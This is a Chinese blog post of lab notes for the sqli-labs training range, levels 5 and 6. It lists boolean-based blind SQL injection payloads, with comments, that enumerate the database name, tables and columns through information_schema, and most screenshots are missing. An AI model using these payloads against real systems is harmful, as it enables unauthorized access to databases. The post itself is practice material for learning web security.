sqli-labs靶场笔记(二)

sqli-labs靶场笔记(二)

Less-05【Boolean 注入|'注入】

下面展示 payload

id=1' order by 3 --+	//确定属性列
id=1' and length(database())=8 --+	//确定数据库名长度为8
id=1' and ascii(substr((select database()),1,1))=115 --+	//配合burp得到数据库名
id=-1' or exists(select * from information_schema.columns) --+ 	//判断是否存在information_schema.columns表
id=1' and ascii(substr((select table_name from information_schema.columns where table_schema='security' limit 0,1),1,1))=99 --+	//确定数据库下的表
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security'  and  table_name='users' limit 0,1),1,1))=99 --+	//确定某表下的属性列

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

猜测表

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

确定数据库为security
在这里插入图片描述

在这里插入图片描述
得到emails表
逐个猜想
在这里插入图片描述

得到referers表
在这里插入图片描述
得到uagents表
在这里插入图片描述
得到users表
在这里插入图片描述

猜测属性列

在这里插入图片描述
得到属性列id
在这里插入图片描述
得到属性列password
在这里插入图片描述
得到属性列username
在这里插入图片描述
在这里插入图片描述
得到username的值
剩下略,自己体会

Less-06【Boolean 注入|"注入】

下面展示 payload

id=1” order by 3 --+	//确定属性列
id=1“ and length(database())=8 --+	//确定数据库名长度为8
id=1” and ascii(substr((select database()),1,1))=115 --+	//配合burp得到数据库名
id=-1“ or exists(select * from information_schema.columns) --+ 	//判断是否存在information_schema.columns表
id=1” and ascii(substr((select table_name from information_schema.columns where table_schema='security' limit 0,1),1,1))=99 --+	//确定数据库下的表
id=1“ and ascii(substr((select column_name from information_schema.columns where table_schema='security'  and  table_name='users' limit 0,1),1,1))=99 --+	//确定某表下的属性列

均为Boolean注入,详细查看Less-05步骤

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值